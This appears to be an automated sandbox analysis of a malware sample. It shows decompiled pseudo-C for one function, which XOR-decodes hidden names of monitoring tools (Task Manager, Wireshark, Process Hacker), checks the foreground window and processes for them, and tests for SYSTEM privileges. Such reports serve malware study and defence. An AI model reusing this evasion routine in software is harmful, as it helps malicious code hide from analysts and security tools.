                                                          control_flow_graph 2593 405f40-405f9f 2594 405fa1-405fb5 call 40ef48 2593->2594 2595 405fe8-405fef 2593->2595 2594->2595 2602 405fb7-405fe5 call 40f25b call 40eefe 2594->2602 2596 405ff1-406024 2595->2596 2597 406029-40604a 2595->2597 2596->2597 2599 406050-406055 2597->2599 2599->2599 2601 406057-406070 call 4026b0 call 405350 2599->2601 2611 406076-406095 2601->2611 2612 4065ae 2601->2612 2602->2595 2614 406097-4060ab call 40ef48 2611->2614 2615 4060de-4060e5 2611->2615 2613 4065b0-4065cb call 40ebbf 2612->2613 2614->2615 2623 4060ad-4060db call 40f25b call 40eefe 2614->2623 2616 4060e7-40611a 2615->2616 2617 40611f-406139 2615->2617 2616->2617 2621 406140-406145 2617->2621 2621->2621 2624 406147-406160 call 4026b0 call 405350 2621->2624 2623->2615 2624->2612 2633 406166-40618e 2624->2633 2634 406190-4061a4 call 40ef48 2633->2634 2635 4061dd-4061e4 2633->2635 2634->2635 2641 4061a6-4061da call 40f25b call 40eefe 2634->2641 2637 4061e6-406227 2635->2637 2638 40622c-40624d 2635->2638 2637->2638 2640 406250-406255 2638->2640 2640->2640 2642 406257-406270 call 4026b0 call 405350 2640->2642 2641->2635 2642->2612 2651 406276-40627e GetForegroundWindow 2642->2651 2652 406284-4062cb GetWindowTextA 2651->2652 2653 4065aa-4065ac 2651->2653 2654 40632b-406332 2652->2654 2655 4062cd-4062e1 call 40ef48 2652->2655 2653->2613 2657 406342-40636f 2654->2657 2658 406334 2654->2658 2655->2654 2663 4062e3-406328 call 40f25b call 40eefe 2655->2663 2661 406370-406375 2657->2661 2660 406336-406340 2658->2660 2660->2657 2660->2660 2661->2661 2662 406377-4063c2 call 4026b0 call 4101e0 2661->2662 2672 406502 2662->2672 2673 4063c8-4063f0 2662->2673 2663->2654 2676 406509-40650c 2672->2676 2674 4063f2-406406 call 40ef48 2673->2674 2675 40643f-406446 2673->2675 2674->2675 2690 406408-40643c call 40f25b call 40eefe 2674->2690 2680 406448-406489 2675->2680 2681 40648e-4064b1 2675->2681 2678 406566-406569 2676->2678 2679 40650e-40651a 2676->2679 2682 4065a1-4065a8 2678->2682 2683 40656b-406574 2678->2683 2686 40654b-40655f 2679->2686 2687 40651c-40652b 2679->2687 2680->2681 2684 4064b4-4064b9 2681->2684 2682->2612 2682->2653 2683->2682 2688 406576-406585 2683->2688 2684->2684 2689 4064bb-406500 call 4026b0 call 4101e0 2684->2689 2686->2678 2691 406541-406548 call 40edff 2687->2691 2692 40652d-40653b 2687->2692 2693 406597-40659e call 40edff 2688->2693 2694 406587-406595 2688->2694 2689->2672 2689->2676 2690->2675 2691->2686 2692->2691 2697 4065cc-4065d1 call 413527 2692->2697 2693->2682 2694->2693 2694->2697
                                                          C-Code - Quality: 75%
                                                          			E00405F40(void* __ebx, void* __edi) {
                                                          				long _v8;
                                                          				signed int _v12;
                                                          				char _v16;
                                                          				signed int _v20;
                                                          				void _v88;
                                                          				struct _SID_IDENTIFIER_AUTHORITY _v96;
                                                          				long _v100;
                                                          				void* _v104;
                                                          				void* _v108;
                                                          				char _v276;
                                                          				void* _v280;
                                                          				int _v284;
                                                          				char _v288;
                                                          				char _v292;
                                                          				char _v296;
                                                          				intOrPtr _v300;
                                                          				intOrPtr _v304;
                                                          				char _v305;
                                                          				long _v312;
                                                          				long _v316;
                                                          				long _v332;
                                                          				long* _v336;
                                                          				long _v340;
                                                          				long _v356;
                                                          				signed int _v380;
                                                          				short _v460;
                                                          				long _v464;
                                                          				void* _v472;
                                                          				void* __esi;
                                                          				void* __ebp;
                                                          				signed int _t98;
                                                          				signed int _t99;
                                                          				intOrPtr _t102;
                                                          				signed char _t103;
                                                          				signed char _t104;
                                                          				void* _t106;
                                                          				int _t107;
                                                          				intOrPtr _t109;
                                                          				signed char _t110;
                                                          				signed char _t111;
                                                          				void* _t113;
                                                          				intOrPtr _t114;
                                                          				signed char _t115;
                                                          				signed char _t116;
                                                          				void* _t118;
                                                          				struct HWND__* _t119;
                                                          				intOrPtr _t121;
                                                          				intOrPtr _t122;
                                                          				void* _t127;
                                                          				long _t128;
                                                          				signed int _t133;
                                                          				signed int _t137;
                                                          				signed int _t142;
                                                          				signed int _t146;
                                                          				int _t147;
                                                          				long _t152;
                                                          				intOrPtr _t156;
                                                          				signed char _t157;
                                                          				signed char _t158;
                                                          				void* _t163;
                                                          				void* _t169;
                                                          				void* _t191;
                                                          				signed int _t193;
                                                          				signed char* _t194;
                                                          				signed char* _t201;
                                                          				signed char* _t204;
                                                          				intOrPtr* _t208;
                                                          				long _t211;
                                                          				long _t216;
                                                          				signed char* _t217;
                                                          				long* _t222;
                                                          				signed char* _t224;
                                                          				void* _t225;
                                                          				signed char* _t226;
                                                          				signed char* _t227;
                                                          				intOrPtr _t229;
                                                          				void* _t230;
                                                          				void* _t232;
                                                          				signed int _t233;
                                                          				signed int _t234;
                                                          				void* _t235;
                                                          				void* _t236;
                                                          				long* _t237;
                                                          				long* _t238;
                                                          				long* _t239;
                                                          				long* _t240;
                                                          				long* _t241;
                                                          				long* _t242;
                                                          				signed int _t243;
                                                          
                                                          				_t190 = __ebx;
                                                          				_push(0xffffffff);
                                                          				_push(E0042C707);
                                                          				_push( *[fs:0x0]);
                                                          				_t236 = _t235 - 0x154;
                                                          				_t98 =  *0x43d054; // 0x6e36c9b5
                                                          				_t99 = _t98 ^ _t233;
                                                          				_v20 = _t99;
                                                          				_push(__ebx);
                                                          				_push(__edi);
                                                          				_push(_t99);
                                                          				 *[fs:0x0] =  &_v16;
                                                          				_v284 = 0;
                                                          				_v288 = 0x455d4f5a;
                                                          				_v284 = 0x2e5c4943;
                                                          				_t229 =  *((intOrPtr*)( *[fs:0x2c]));
                                                          				_t102 =  *0x450ee8; // 0x80000010
                                                          				if(_t102 >  *((intOrPtr*)(_t229 + 4))) {
                                                          					E0040EF48(_t102, 0x450ee8);
                                                          					_t236 = _t236 + 4;
                                                          					_t252 =  *0x450ee8 - 0xffffffff;
                                                          					if( *0x450ee8 == 0xffffffff) {
                                                          						_t7 =  &_v288; // 0x455d4f5a
                                                          						_t8 =  &_v284; // 0x2e5c4943
                                                          						 *0x450d40 =  *_t7;
                                                          						 *0x450d44 =  *_t8;
                                                          						E0040F25B( *_t8, _t252, E0042CFC0);
                                                          						E0040EEFE(0x450ee8);
                                                          						_t236 = _t236 + 8;
                                                          					}
                                                          				}
                                                          				_t103 =  *0x450d47; // 0x0
                                                          				if(_t103 != 0) {
                                                          					 *0x450d40 =  *0x450d40 ^ 0x0000002e;
                                                          					 *0x450d41 =  *0x450d41 ^ 0x0000002e;
                                                          					 *0x450d42 =  *0x450d42 ^ 0x0000002e;
                                                          					 *0x450d43 =  *0x450d43 ^ 0x0000002e;
                                                          					 *0x450d44 =  *0x450d44 ^ 0x0000002e;
                                                          					 *0x450d45 =  *0x450d45 ^ 0x0000002e;
                                                          					 *0x450d46 =  *0x450d46 ^ 0x0000002e;
                                                          					 *0x450d47 = _t103 ^ 0x0000002e;
                                                          				}
                                                          				_t237 = _t236 - 0x18;
                                                          				_t194 = 0x450d40;
                                                          				_t222 = _t237;
                                                          				_t9 =  &(_t194[1]); // 0x450d41
                                                          				_t224 = _t9;
                                                          				 *_t222 = 0;
                                                          				_t222[4] = 0;
                                                          				_t222[5] = 0xf;
                                                          				asm("o16 nop [eax+eax]");
                                                          				do {
                                                          					_t104 =  *_t194;
                                                          					_t194 =  &(_t194[1]);
                                                          				} while (_t104 != 0);
                                                          				E004026B0(_t190, _t222, 0x450d40, _t194 - _t224); // executed
                                                          				_t106 = E00405350(_t190); // executed
                                                          				_t238 =  &(_t237[6]);
                                                          				if(_t106 != 0) {
                                                          					L56:
                                                          					_t107 = 1;
                                                          					goto L57;
                                                          				} else {
                                                          					_t109 =  *0x450fbc; // 0x80000011
                                                          					_v288 = 0x455d4f7a;
                                                          					_v284 = 0x2e5c4943;
                                                          					if(_t109 >  *((intOrPtr*)(_t229 + 4))) {
                                                          						E0040EF48(_t109, 0x450fbc);
                                                          						_t238 =  &(_t238[1]);
                                                          						_t258 =  *0x450fbc - 0xffffffff;
                                                          						if( *0x450fbc == 0xffffffff) {
                                                          							_t15 =  &_v288; // 0x455d4f7a
                                                          							_t16 =  &_v284; // 0x2e5c4943
                                                          							 *0x450f90 =  *_t15;
                                                          							 *0x450f94 =  *_t16;
                                                          							E0040F25B( *_t16, _t258, E0042CFB0);
                                                          							E0040EEFE(0x450fbc);
                                                          							_t238 =  &(_t238[2]);
                                                          						}
                                                          					}
                                                          					_t110 =  *0x450f97; // 0x0
                                                          					if(_t110 != 0) {
                                                          						 *0x450f90 =  *0x450f90 ^ 0x0000002e;
                                                          						 *0x450f91 =  *0x450f91 ^ 0x0000002e;
                                                          						 *0x450f92 =  *0x450f92 ^ 0x0000002e;
                                                          						 *0x450f93 =  *0x450f93 ^ 0x0000002e;
                                                          						 *0x450f94 =  *0x450f94 ^ 0x0000002e;
                                                          						 *0x450f95 =  *0x450f95 ^ 0x0000002e;
                                                          						 *0x450f96 =  *0x450f96 ^ 0x0000002e;
                                                          						 *0x450f97 = _t110 ^ 0x0000002e;
                                                          					}
                                                          					_t239 = _t238 - 0x18;
                                                          					_t201 = 0x450f90;
                                                          					_t222 = _t239;
                                                          					_t17 =  &(_t201[1]); // 0x450f91
                                                          					_t226 = _t17;
                                                          					 *_t222 = 0;
                                                          					_t222[4] = 0;
                                                          					_t222[5] = 0xf;
                                                          					do {
                                                          						_t111 =  *_t201;
                                                          						_t201 =  &(_t201[1]);
                                                          					} while (_t111 != 0);
                                                          					_t203 = _t222;
                                                          					E004026B0(_t190, _t222, 0x450f90, _t201 - _t226); // executed
                                                          					_t113 = E00405350(_t190); // executed
                                                          					_t240 =  &(_t239[6]);
                                                          					if(_t113 != 0) {
                                                          						goto L56;
                                                          					} else {
                                                          						_t114 =  *0x450f9c; // 0x80000012
                                                          						_v288 = 0x4b5c4759;
                                                          						_v284 = 0x5c4f465d;
                                                          						_v280 = 0x2e45;
                                                          						if(_t114 >  *((intOrPtr*)(_t229 + 4))) {
                                                          							E0040EF48(_t114, 0x450f9c);
                                                          							_t240 =  &(_t240[1]);
                                                          							_t264 =  *0x450f9c - 0xffffffff;
                                                          							if( *0x450f9c == 0xffffffff) {
                                                          								asm("movq xmm0, [ebp-0x11c]");
                                                          								asm("movq [0x450d8c], xmm0");
                                                          								 *0x450d94 = _v280;
                                                          								E0040F25B(_t203, _t264, E0042CF90);
                                                          								E0040EEFE(0x450f9c);
                                                          								_t240 =  &(_t240[2]);
                                                          							}
                                                          						}
                                                          						_t115 =  *0x450d95; // 0x0
                                                          						if(_t115 != 0) {
                                                          							 *0x450d8c =  *0x450d8c ^ 0x0000002e;
                                                          							 *0x450d8d =  *0x450d8d ^ 0x0000002e;
                                                          							 *0x450d8e =  *0x450d8e ^ 0x0000002e;
                                                          							 *0x450d8f =  *0x450d8f ^ 0x0000002e;
                                                          							 *0x450d90 =  *0x450d90 ^ 0x0000002e;
                                                          							 *0x450d91 =  *0x450d91 ^ 0x0000002e;
                                                          							 *0x450d92 =  *0x450d92 ^ 0x0000002e;
                                                          							 *0x450d93 =  *0x450d93 ^ 0x0000002e;
                                                          							 *0x450d94 =  *0x450d94 ^ 0x0000002e;
                                                          							 *0x450d95 = _t115 ^ 0x0000002e;
                                                          						}
                                                          						_t241 = _t240 - 0x18;
                                                          						_t204 = 0x450d8c;
                                                          						_t222 = _t241;
                                                          						_t25 =  &(_t204[1]); // 0x450d8d
                                                          						_t227 = _t25;
                                                          						 *_t222 = 0;
                                                          						_t222[4] = 0;
                                                          						_t222[5] = 0xf;
                                                          						do {
                                                          							_t116 =  *_t204;
                                                          							_t204 =  &(_t204[1]);
                                                          						} while (_t116 != 0);
                                                          						E004026B0(_t190, _t222, 0x450d8c, _t204 - _t227); // executed
                                                          						_t118 = E00405350(_t190); // executed
                                                          						_t242 =  &(_t241[6]);
                                                          						if(_t118 != 0) {
                                                          							goto L56;
                                                          						} else {
                                                          							_t119 = GetForegroundWindow(); // executed
                                                          							if(_t119 == 0) {
                                                          								L55:
                                                          								_t107 = 0;
                                                          								goto L57;
                                                          							} else {
                                                          								GetWindowTextA(_t119,  &_v276, 0x100);
                                                          								_t121 =  *0x450fb8; // 0x80000013
                                                          								_v304 = 0x4d415c7e;
                                                          								_v300 = 0xe5d5d4b;
                                                          								_v296 = 0x454d4f66;
                                                          								_v292 = 0x5c4b;
                                                          								if(_t121 >  *((intOrPtr*)(_t229 + 4))) {
                                                          									E0040EF48(_t121, 0x450fb8);
                                                          									_t242 =  &(_t242[1]);
                                                          									_t271 =  *0x450fb8 - 0xffffffff;
                                                          									if( *0x450fb8 == 0xffffffff) {
                                                          										_t34 =  &_v296; // 0x454d4f66
                                                          										asm("movq xmm0, [ebp-0x12c]");
                                                          										 *0x450f6c =  *_t34;
                                                          										_t35 =  &_v292; // 0x5c4b
                                                          										asm("movq [0x450f64], xmm0");
                                                          										 *0x450f70 =  *_t35;
                                                          										 *0x450f72 = 0x2e;
                                                          										E0040F25B( &_v276, _t271, E0042CF60);
                                                          										E0040EEFE(0x450fb8);
                                                          										_t242 =  &(_t242[2]);
                                                          									}
                                                          								}
                                                          								if( *0x450f72 != 0) {
                                                          									_t169 = 0;
                                                          									do {
                                                          										 *(_t169 + 0x450f64) =  *(_t169 + 0x450f64) ^ 0x0000002e;
                                                          										_t169 = _t169 + 1;
                                                          									} while (_t169 < 0xf);
                                                          								}
                                                          								_t208 = 0x450f64;
                                                          								_v356 = 0;
                                                          								_v340 = 0;
                                                          								_v336 = 0xf;
                                                          								_v356 = 0;
                                                          								_t42 = _t208 + 1; // 0x450f65
                                                          								_t222 = _t42;
                                                          								do {
                                                          									_t122 =  *_t208;
                                                          									_t208 = _t208 + 1;
                                                          								} while (_t122 != 0);
                                                          								E004026B0(0x2e,  &_v356, 0x450f64, _t208 - _t222);
                                                          								_v8 = 0;
                                                          								_t193 = 1;
                                                          								_v284 = 1;
                                                          								_t125 =  >=  ? _v356 :  &_v356;
                                                          								_t127 = E004101E0( &_v276,  >=  ? _v356 :  &_v356);
                                                          								_t243 =  &(_t242[2]);
                                                          								if(_t127 != 0) {
                                                          									L42:
                                                          									_v305 = 1;
                                                          								} else {
                                                          									_t156 =  *0x450f60; // 0x80000014
                                                          									_v300 = 0x4b5c4779;
                                                          									_v296 = 0x5c4f465d;
                                                          									_v292 = 0x2e45;
                                                          									if(_t156 >  *((intOrPtr*)(_t229 + 4))) {
                                                          										E0040EF48(_t156, 0x450f60);
                                                          										_t243 = _t243 + 4;
                                                          										_t279 =  *0x450f60 - 0xffffffff;
                                                          										if( *0x450f60 == 0xffffffff) {
                                                          											asm("movq xmm0, [ebp-0x128]");
                                                          											_t54 =  &_v292; // 0x2e45
                                                          											asm("movq [0x450fd4], xmm0");
                                                          											 *0x450fdc =  *_t54;
                                                          											E0040F25B( &_v356, _t279, E0042CF40);
                                                          											E0040EEFE(0x450f60);
                                                          											_t243 = _t243 + 8;
                                                          										}
                                                          									}
                                                          									_t157 =  *0x450fdd; // 0x0
                                                          									if(_t157 != 0) {
                                                          										 *0x450fd4 =  *0x450fd4 ^ 0x0000002e;
                                                          										 *0x450fd5 =  *0x450fd5 ^ 0x0000002e;
                                                          										 *0x450fd6 =  *0x450fd6 ^ 0x0000002e;
                                                          										 *0x450fd7 =  *0x450fd7 ^ 0x0000002e;
                                                          										 *0x450fd8 =  *0x450fd8 ^ 0x0000002e;
                                                          										 *0x450fd9 =  *0x450fd9 ^ 0x0000002e;
                                                          										 *0x450fda =  *0x450fda ^ 0x0000002e;
                                                          										 *0x450fdb =  *0x450fdb ^ 0x0000002e;
                                                          										 *0x450fdc =  *0x450fdc ^ 0x0000002e;
                                                          										 *0x450fdd = _t157 ^ 0x0000002e;
                                                          									}
                                                          									_t217 = 0x450fd4;
                                                          									_v332 = 0;
                                                          									_v316 = 0;
                                                          									_v312 = 0xf;
                                                          									_t58 =  &(_t217[1]); // 0x450fd5
                                                          									_t222 = _t58;
                                                          									do {
                                                          										_t158 =  *_t217;
                                                          										_t217 =  &(_t217[1]);
                                                          									} while (_t158 != 0);
                                                          									E004026B0(_t193,  &_v332, 0x450fd4, _t217 - _t222);
                                                          									_t193 = 3;
                                                          									_t161 =  >=  ? _v332 :  &_v332;
                                                          									_t163 = E004101E0( &_v276,  >=  ? _v332 :  &_v332);
                                                          									_t243 = _t243 + 8;
                                                          									_v305 = 0;
                                                          									if(_t163 != 0) {
                                                          										goto L42;
                                                          									}
                                                          								}
                                                          								if((_t193 & 0x00000002) == 0) {
                                                          									L49:
                                                          									if((_t193 & 0x00000001) == 0) {
                                                          										L54:
                                                          										if(_v305 != 0) {
                                                          											goto L56;
                                                          										} else {
                                                          											goto L55;
                                                          										}
                                                          										L57:
                                                          										 *[fs:0x0] = _v16;
                                                          										_pop(_t225);
                                                          										_pop(_t230);
                                                          										_pop(_t191);
                                                          										return E0040EBBF(_t107, _t191, _v20 ^ _t233, _t222, _t225, _t230);
                                                          									} else {
                                                          										_t222 = _v336;
                                                          										if(_t222 < 0x10) {
                                                          											goto L54;
                                                          										} else {
                                                          											_t211 = _v356;
                                                          											_t222 =  &(_t222[0]);
                                                          											_t128 = _t211;
                                                          											if(_t222 < 0x1000) {
                                                          												L53:
                                                          												_push(_t222);
                                                          												E0040EDFF(_t211);
                                                          												goto L54;
                                                          											} else {
                                                          												_t211 =  *(_t211 - 4);
                                                          												_t222 =  &(_t222[8]);
                                                          												if(_t128 - _t211 + 0xfffffffc > 0x1f) {
                                                          													goto L58;
                                                          												} else {
                                                          													goto L53;
                                                          												}
                                                          											}
                                                          										}
                                                          									}
                                                          								} else {
                                                          									_t222 = _v312;
                                                          									_t193 = _t193 & 0xfffffffd;
                                                          									if(_t222 < 0x10) {
                                                          										L48:
                                                          										_v316 = 0;
                                                          										_v312 = 0xf;
                                                          										_v332 = 0;
                                                          										goto L49;
                                                          									} else {
                                                          										_t216 = _v332;
                                                          										_t222 =  &(_t222[0]);
                                                          										_t152 = _t216;
                                                          										if(_t222 < 0x1000) {
                                                          											L47:
                                                          											_push(_t222);
                                                          											E0040EDFF(_t216);
                                                          											_t243 = _t243 + 8;
                                                          											goto L48;
                                                          										} else {
                                                          											_t216 =  *(_t216 - 4);
                                                          											_t222 =  &(_t222[8]);
                                                          											if(_t152 - _t216 + 0xfffffffc > 0x1f) {
                                                          												L58:
                                                          												E00413527(_t193, _t222, __eflags);
                                                          												asm("int3");
                                                          												asm("int3");
                                                          												asm("int3");
                                                          												asm("int3");
                                                          												asm("int3");
                                                          												asm("int3");
                                                          												asm("int3");
                                                          												asm("int3");
                                                          												asm("int3");
                                                          												asm("int3");
                                                          												asm("int3");
                                                          												asm("int3");
                                                          												asm("int3");
                                                          												asm("int3");
                                                          												asm("int3");
                                                          												_push(_t233);
                                                          												_t234 = _t243;
                                                          												_t133 =  *0x43d054; // 0x6e36c9b5
                                                          												_v380 = _t133 ^ _t234;
                                                          												_v464 = 0;
                                                          												_v460 = 0x500;
                                                          												_t137 = OpenProcessToken(GetCurrentProcess(), 8,  &_v472);
                                                          												__eflags = _t137;
                                                          												if(_t137 == 0) {
                                                          													L62:
                                                          													__eflags = _v12 ^ _t234;
                                                          													return E0040EBBF(0, _t193, _v12 ^ _t234, _t222, _t227, _t229);
                                                          												} else {
                                                          													_t142 = GetTokenInformation(_v104, 1,  &_v88, 0x4c,  &_v100); // executed
                                                          													_push(_v104);
                                                          													__eflags = _t142;
                                                          													if(_t142 != 0) {
                                                          														CloseHandle();
                                                          														_t146 = AllocateAndInitializeSid( &_v96, 1, 0x12, 0, 0, 0, 0, 0, 0, 0,  &_v108);
                                                          														__eflags = _t146;
                                                          														if(_t146 == 0) {
                                                          															goto L62;
                                                          														} else {
                                                          															_t147 = EqualSid(_v88, _v108);
                                                          															FreeSid(_v108);
                                                          															__eflags = _v12 ^ _t234;
                                                          															_t232 = _t229;
                                                          															return E0040EBBF(_t147, _t193, _v12 ^ _t234, _t222, _t227, _t232);
                                                          														}
                                                          													} else {
                                                          														CloseHandle();
                                                          														goto L62;
                                                          													}
                                                          												}
                                                          											} else {
                                                          												goto L47;
                                                          											}
                                                          										}
                                                          									}
                                                          								}
                                                          							}
                                                          						}
                                                          					}
                                                          				}
                                                          			}




























































































                                                          0x00405f40
                                                          0x00405f43
                                                          0x00405f45
                                                          0x00405f50
                                                          0x00405f51
                                                          0x00405f57
                                                          0x00405f5c
                                                          0x00405f5e
                                                          0x00405f61
                                                          0x00405f63
                                                          0x00405f64
                                                          0x00405f68
                                                          0x00405f6e
                                                          0x00405f7e
                                                          0x00405f88
                                                          0x00405f92
                                                          0x00405f94
                                                          0x00405f9f
                                                          0x00405fa6
                                                          0x00405fab
                                                          0x00405fae
                                                          0x00405fb5
                                                          0x00405fb7
                                                          0x00405fbd
                                                          0x00405fc8
                                                          0x00405fcd
                                                          0x00405fd3
                                                          0x00405fe0
                                                          0x00405fe5
                                                          0x00405fe5
                                                          0x00405fb5
                                                          0x00405fe8
                                                          0x00405fef
                                                          0x00405ff1
                                                          0x00405ff8
                                                          0x00405fff
                                                          0x00406006
                                                          0x0040600d
                                                          0x00406014
                                                          0x0040601b
                                                          0x00406024
                                                          0x00406024
                                                          0x00406029
                                                          0x0040602c
                                                          0x00406031
                                                          0x00406033
                                                          0x00406033
                                                          0x00406036
                                                          0x0040603c
                                                          0x00406043
                                                          0x0040604a
                                                          0x00406050
                                                          0x00406050
                                                          0x00406052
                                                          0x00406053
                                                          0x00406061
                                                          0x00406066
                                                          0x0040606b
                                                          0x00406070
                                                          0x004065ae
                                                          0x004065ae
                                                          0x00000000
                                                          0x00406076
                                                          0x00406076
                                                          0x0040607b
                                                          0x00406085
                                                          0x00406095
                                                          0x0040609c
                                                          0x004060a1
                                                          0x004060a4
                                                          0x004060ab
                                                          0x004060ad
                                                          0x004060b3
                                                          0x004060be
                                                          0x004060c3
                                                          0x004060c9
                                                          0x004060d6
                                                          0x004060db
                                                          0x004060db
                                                          0x004060ab
                                                          0x004060de
                                                          0x004060e5
                                                          0x004060e7
                                                          0x004060ee
                                                          0x004060f5
                                                          0x004060fc
                                                          0x00406103
                                                          0x0040610a
                                                          0x00406111
                                                          0x0040611a
                                                          0x0040611a
                                                          0x0040611f
                                                          0x00406122
                                                          0x00406127
                                                          0x00406129
                                                          0x00406129
                                                          0x0040612c
                                                          0x00406132
                                                          0x00406139
                                                          0x00406140
                                                          0x00406140
                                                          0x00406142
                                                          0x00406143
                                                          0x0040614f
                                                          0x00406151
                                                          0x00406156
                                                          0x0040615b
                                                          0x00406160
                                                          0x00000000
                                                          0x00406166
                                                          0x00406166
                                                          0x0040616b
                                                          0x00406175
                                                          0x0040617f
                                                          0x0040618e
                                                          0x00406195
                                                          0x0040619a
                                                          0x0040619d
                                                          0x004061a4
                                                          0x004061a6
                                                          0x004061ba
                                                          0x004061c2
                                                          0x004061c8
                                                          0x004061d5
                                                          0x004061da
                                                          0x004061da
                                                          0x004061a4
                                                          0x004061dd
                                                          0x004061e4
                                                          0x004061e6
                                                          0x004061ed
                                                          0x004061f4
                                                          0x004061fb
                                                          0x00406202
                                                          0x00406209
                                                          0x00406210
                                                          0x00406217
                                                          0x0040621e
                                                          0x00406227
                                                          0x00406227
                                                          0x0040622c
                                                          0x0040622f
                                                          0x00406234
                                                          0x00406236
                                                          0x00406236
                                                          0x00406239
                                                          0x0040623f
                                                          0x00406246
                                                          0x00406250
                                                          0x00406250
                                                          0x00406252
                                                          0x00406253
                                                          0x00406261
                                                          0x00406266
                                                          0x0040626b
                                                          0x00406270
                                                          0x00000000
                                                          0x00406276
                                                          0x00406276
                                                          0x0040627e
                                                          0x004065aa
                                                          0x004065aa
                                                          0x00000000
                                                          0x00406284
                                                          0x00406291
                                                          0x00406297
                                                          0x0040629e
                                                          0x004062a8
                                                          0x004062b2
                                                          0x004062bc
                                                          0x004062cb
                                                          0x004062d2
                                                          0x004062d7
                                                          0x004062da
                                                          0x004062e1
                                                          0x004062e3
                                                          0x004062e9
                                                          0x004062f1
                                                          0x004062f6
                                                          0x00406302
                                                          0x0040630a
                                                          0x00406310
                                                          0x00406316
                                                          0x00406323
                                                          0x00406328
                                                          0x00406328
                                                          0x004062e1
                                                          0x00406332
                                                          0x00406334
                                                          0x00406336
                                                          0x00406336
                                                          0x0040633c
                                                          0x0040633d
                                                          0x00406336
                                                          0x00406342
                                                          0x00406347
                                                          0x00406351
                                                          0x0040635b
                                                          0x00406365
                                                          0x0040636c
                                                          0x0040636c
                                                          0x00406370
                                                          0x00406370
                                                          0x00406372
                                                          0x00406373
                                                          0x00406385
                                                          0x0040638a
                                                          0x0040639e
                                                          0x004063a3
                                                          0x004063a9
                                                          0x004063b8
                                                          0x004063bd
                                                          0x004063c2
                                                          0x00406502
                                                          0x00406502
                                                          0x004063c8
                                                          0x004063c8
                                                          0x004063cd
                                                          0x004063d7
                                                          0x004063e1
                                                          0x004063f0
                                                          0x004063f7
                                                          0x004063fc
                                                          0x004063ff
                                                          0x00406406
                                                          0x00406408
                                                          0x00406410
                                                          0x0040641c
                                                          0x00406424
                                                          0x0040642a
                                                          0x00406437
                                                          0x0040643c
                                                          0x0040643c
                                                          0x00406406
                                                          0x0040643f
                                                          0x00406446
                                                          0x00406448
                                                          0x0040644f
                                                          0x00406456
                                                          0x0040645d
                                                          0x00406464
                                                          0x0040646b
                                                          0x00406472
                                                          0x00406479
                                                          0x00406480
                                                          0x00406489
                                                          0x00406489
                                                          0x0040648e
                                                          0x00406493
                                                          0x0040649d
                                                          0x004064a7
                                                          0x004064b1
                                                          0x004064b1
                                                          0x004064b4
                                                          0x004064b4
                                                          0x004064b6
                                                          0x004064b7
                                                          0x004064c9
                                                          0x004064db
                                                          0x004064e0
                                                          0x004064ef
                                                          0x004064f4
                                                          0x004064f7
                                                          0x00406500
                                                          0x00000000
                                                          0x00000000
                                                          0x00406500
                                                          0x0040650c
                                                          0x00406566
                                                          0x00406569
                                                          0x004065a1
                                                          0x004065a8
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x004065b0
                                                          0x004065b3
                                                          0x004065bb
                                                          0x004065bc
                                                          0x004065bd
                                                          0x004065cb
                                                          0x0040656b
                                                          0x0040656b
                                                          0x00406574
                                                          0x00000000
                                                          0x00406576
                                                          0x00406576
                                                          0x0040657c
                                                          0x0040657d
                                                          0x00406585
                                                          0x00406597
                                                          0x00406597
                                                          0x00406599
                                                          0x00000000
                                                          0x00406587
                                                          0x00406587
                                                          0x0040658a
                                                          0x00406595
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00406595
                                                          0x00406585
                                                          0x00406574
                                                          0x0040650e
                                                          0x0040650e
                                                          0x00406514
                                                          0x0040651a
                                                          0x0040654b
                                                          0x0040654b
                                                          0x00406555
                                                          0x0040655f
                                                          0x00000000
                                                          0x0040651c
                                                          0x0040651c
                                                          0x00406522
                                                          0x00406523
                                                          0x0040652b
                                                          0x00406541
                                                          0x00406541
                                                          0x00406543
                                                          0x00406548
                                                          0x00000000
                                                          0x0040652d
                                                          0x0040652d
                                                          0x00406530
                                                          0x0040653b
                                                          0x004065cc
                                                          0x004065cc
                                                          0x004065d1
                                                          0x004065d2
                                                          0x004065d3
                                                          0x004065d4
                                                          0x004065d5
                                                          0x004065d6
                                                          0x004065d7
                                                          0x004065d8
                                                          0x004065d9
                                                          0x004065da
                                                          0x004065db
                                                          0x004065dc
                                                          0x004065dd
                                                          0x004065de
                                                          0x004065df
                                                          0x004065e0
                                                          0x004065e1
                                                          0x004065e6
                                                          0x004065ed
                                                          0x004065f3
                                                          0x004065fd
                                                          0x0040660a
                                                          0x00406610
                                                          0x00406612
                                                          0x00406636
                                                          0x0040663b
                                                          0x00406645
                                                          0x00406614
                                                          0x00406623
                                                          0x00406629
                                                          0x0040662c
                                                          0x0040662e
                                                          0x00406646
                                                          0x00406666
                                                          0x0040666c
                                                          0x0040666e
                                                          0x00000000
                                                          0x00406670
                                                          0x00406677
                                                          0x00406682
                                                          0x0040668d
                                                          0x0040668f
                                                          0x00406698
                                                          0x00406698
                                                          0x00406630
                                                          0x00406630
                                                          0x00000000
                                                          0x00406630
                                                          0x0040662e
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x0040653b
                                                          0x0040652b
                                                          0x0040651a
                                                          0x0040650c
                                                          0x0040627e
                                                          0x00406270
                                                          0x00406160

                                                          APIs
                                                          • __Init_thread_footer.LIBCMT ref: 00405FE0
                                                            • Part of subcall function 0040EEFE: EnterCriticalSection.KERNEL32(004504FC,?,?,0040643C,00450F60,?,?,00450F64,00450F65), ref: 0040EF08
                                                            • Part of subcall function 0040EEFE: LeaveCriticalSection.KERNEL32(004504FC,?,?,0040643C,00450F60,?,?,00450F64,00450F65), ref: 0040EF3B
                                                            • Part of subcall function 0040EEFE: RtlWakeAllConditionVariable.NTDLL ref: 0040EFB2
                                                          • __Init_thread_footer.LIBCMT ref: 004061D5
                                                          • GetForegroundWindow.USER32 ref: 00406276
                                                          • GetWindowTextA.USER32 ref: 00406291
                                                          • __Init_thread_footer.LIBCMT ref: 00406323
                                                          • __Init_thread_footer.LIBCMT ref: 004060D6
                                                            • Part of subcall function 0040EF48: EnterCriticalSection.KERNEL32(004504FC,00450D8D,?,?,004063FC,00450F60,00450F64,00450F65), ref: 0040EF53
                                                            • Part of subcall function 0040EF48: LeaveCriticalSection.KERNEL32(004504FC,?,?,004063FC,00450F60,00450F64,00450F65), ref: 0040EF90
                                                          • __Init_thread_footer.LIBCMT ref: 00406437
                                                          Strings
                                                          Memory Dump Source
